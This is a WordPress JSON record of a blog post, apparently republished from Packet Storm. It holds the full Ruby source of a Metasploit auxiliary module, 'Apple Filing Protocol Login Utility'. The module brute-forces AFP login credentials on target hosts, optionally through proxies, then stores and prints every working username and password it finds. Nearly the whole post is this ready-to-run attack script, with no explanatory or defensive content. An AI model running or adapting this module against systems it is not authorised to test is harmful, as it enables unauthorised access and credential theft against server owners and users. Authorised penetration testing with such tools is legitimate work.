{"id":59324,"date":"2024-09-01T01:50:33","date_gmt":"2024-08-31T22:50:33","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180923\/afp_login.rb.txt"},"modified":"2024-09-01T01:50:33","modified_gmt":"2024-08-31T22:50:33","slug":"apple-filing-protocol-login-utility","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/apple-filing-protocol-login-utility\/","title":{"rendered":"Apple Filing Protocol Login Utility"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>require &#8216;openssl&#8217;<br \/>require &#8216;metasploit\/framework\/credential_collection&#8217;<br \/>require &#8216;metasploit\/framework\/login_scanner\/afp&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::AuthBrute<br \/>include Msf::Exploit::Remote::AFP<\/p>\n<p>def initialize(info={})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Apple Filing Protocol Login Utility&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module attempts to bruteforce authentication credentials for AFP.<br \/>},<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/web.archive.org\/web\/20130309051753\/https:\/\/developer.apple.com\/library\/mac\/#documentation\/Networking\/Reference\/AFP_Reference\/Reference\/reference.html&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/developer.apple.com\/library\/mac\/documentation\/networking\/conceptual\/afp\/AFPSecurity\/AFPSecurity.html&#8217; ]\n<p>],<br \/>&#8216;Author&#8217; =&gt; [ &#8216;Gregory Man &lt;man.gregory[at]gmail.com&gt;&#8217; ],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>))<\/p>\n<p>register_options(<br \/>[<br \/>Opt::Proxies,<br \/>OptInt.new(&#8216;LoginTimeOut&#8217;, [ true, &#8220;Timeout on login&#8221;, 23 ]),<br \/>OptBool.new(&#8216;RECORD_GUEST&#8217;, [ false, &#8220;Record guest login to the database&#8221;, false]),<br \/>OptBool.new(&#8216;CHECK_GUEST&#8217;, [ false, &#8220;Check for guest login&#8221;, true])<br \/>], self)<br \/>end<\/p>\n<p>def run_host(ip)<br \/>print_status(&#8220;Scanning IP: #{ip.to_s}&#8221;)<\/p>\n<p>cred_collection = build_credential_collection(<br \/>username: datastore[&#8216;USERNAME&#8217;],<br \/>password: datastore[&#8216;PASSWORD&#8217;],<br \/>)<\/p>\n<p>scanner = Metasploit::Framework::LoginScanner::AFP.new(<br \/>configure_login_scanner(<br \/>host: ip,<br \/>port: rport,<br \/>proxies: datastore[&#8216;PROXIES&#8217;],<br \/>cred_details: cred_collection,<br \/>stop_on_success: datastore[&#8216;STOP_ON_SUCCESS&#8217;],<br \/>bruteforce_speed: datastore[&#8216;BRUTEFORCE_SPEED&#8217;],<br \/>connection_timeout: 30,<br \/>max_send_size: datastore[&#8216;TCP::max_send_size&#8217;],<br \/>send_delay: datastore[&#8216;TCP::send_delay&#8217;],<br \/>framework: framework,<br \/>framework_module: self,<br \/>ssl: datastore[&#8216;SSL&#8217;],<br \/>ssl_version: datastore[&#8216;SSLVersion&#8217;],<br \/>ssl_verify_mode: datastore[&#8216;SSLVerifyMode&#8217;],<br \/>ssl_cipher: datastore[&#8216;SSLCipher&#8217;],<br \/>local_port: datastore[&#8216;CPORT&#8217;],<br \/>local_host: datastore[&#8216;CHOST&#8217;])<br \/>)<\/p>\n<p>scanner.scan! do |result|<br \/>credential_data = result.to_h<br \/>credential_data.merge!(<br \/>module_fullname: self.fullname,<br \/>workspace_id: myworkspace_id<br \/>)<br \/>if result.success?<br \/>credential_core = create_credential(credential_data)<br \/>credential_data[:core] = credential_core<br \/>create_credential_login(credential_data)<\/p>\n<p>print_good &#8220;#{ip}:#{rport} &#8211; Login Successful: #{result.credential}&#8221;<br \/>else<br \/>invalidate_login(credential_data)<br \/>vprint_error &#8220;#{ip}:#{rport} &#8211; LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})&#8221;<br \/>end<br \/>end<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require &#8216;openssl&#8217;require &#8216;metasploit\/framework\/credential_collection&#8217;require &#8216;metasploit\/framework\/login_scanner\/afp&#8217; class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::AuthBruteinclude Msf::Exploit::Remote::AFP def initialize(info={})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Apple Filing Protocol Login Utility&#8217;,&#8216;Description&#8217; =&gt; %q{This module attempts to bruteforce authentication credentials for AFP.},&#8216;References&#8217; =&gt;[[ &#8216;URL&#8217;, &#8216;https:\/\/web.archive.org\/web\/20130309051753\/https:\/\/developer.apple.com\/library\/mac\/#documentation\/Networking\/Reference\/AFP_Reference\/Reference\/reference.html&#8217; ],[ &#8216;URL&#8217;, &#8216;https:\/\/developer.apple.com\/library\/mac\/documentation\/networking\/conceptual\/afp\/AFPSecurity\/AFPSecurity.html&#8217; ] ],&#8216;Author&#8217; =&gt; [ &#8216;Gregory Man &lt;man.gregory[at]gmail.com&gt;&#8217; ],&#8216;License&#8217; =&gt; MSF_LICENSE)) &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59324","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59324","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59324"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59324\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59324"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59324"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59324"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}